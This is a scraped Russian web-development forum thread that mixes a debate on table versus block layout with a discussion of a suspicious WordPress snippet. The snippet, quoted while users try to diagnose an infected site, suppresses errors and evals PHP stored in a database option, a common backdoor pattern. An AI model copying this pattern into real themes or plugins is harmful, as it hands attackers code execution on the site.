big boy, Где вы такое прочитали? (я о приведенном коде)
Fieros,
Рекомендуется, это не значит, что совмещают.
Не забываем что как раз для highload проектов, с регулярным посещением, css, js кешируются на стороне клиента.
Не надо только про мобильные устройства.
Когда деревья были большие - тогда была мода на разбиение крупных изображений на более мелкие, и укладыванием их в таблицу.
Не знаете почему? И рисовалось оно сразу, а не ждало, пока загрузится таблица. А Вы о спрайтах... Все слепить в одно...
Гости могут коментировать
- Все стили блоков задаются в одном файле.
МИФ
вот только из подвалов...
<link rel="stylesheet" href="/plugins/system/sl_scrolltotop/assets/css/style.css" type="text/css" /> <link rel="stylesheet" href="/libraries/cck/rendering/assets/css/cck.css" type="text/css" /> <link rel="stylesheet" href="/libraries/cck/rendering/assets/css/content.css" type="text/css" />
Т.е. верстальщик об этом не знает
- Блочный код намного чище табличного, что поможет Вам в обучении.
При огромной вложенности блоков таблица бывает чище..
- Сайты на блоках быстрее работают.
При скорости инета, даже для глубинки, от 64k - +-1k лишнего кода не спасут отца русской демократии.
зы...если че... я предпочитаю нетабличную верстку.---------- Добавлено 16.02.2013 в 19:51 ----------
миф, прошли те времена, очень давно
Рендеринг начинается почти сразу.
Причем, на медленных каналах левый столбец, будет всегда левым столбцом, а не будем ждать пока закачается и применится таблица стилей.
Некоторые преимущества, навскидку:
if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){
return $co;
} else return $content;
только не говорите что в Joo не маскируют вывод ошибок.
Вместо переменной $content
О степени вреда можно судить только по наличию/отсутвию данных в таблице, а также.. по возможностям записи в эту строку данных.
Было бы неплохо проверить и на insert|update blogoption
Я совет дал, вернее, задал вопрос
И только после этого можно сделать вывод о вредоносности кода.
Сам код посчитан за вредоносный - наличие eval.
Вы посоветовали убрать функцию _bloginfo
Зачем?
Может она используется в шаблоне?
В этой функции также что-то проверяется...
Советы давать нужно по делу...
Удаление кода может отобразиться на других страницах
sdaprel, Вы чего-нибудь в WP понимаете?
Покажите ваш htaccess
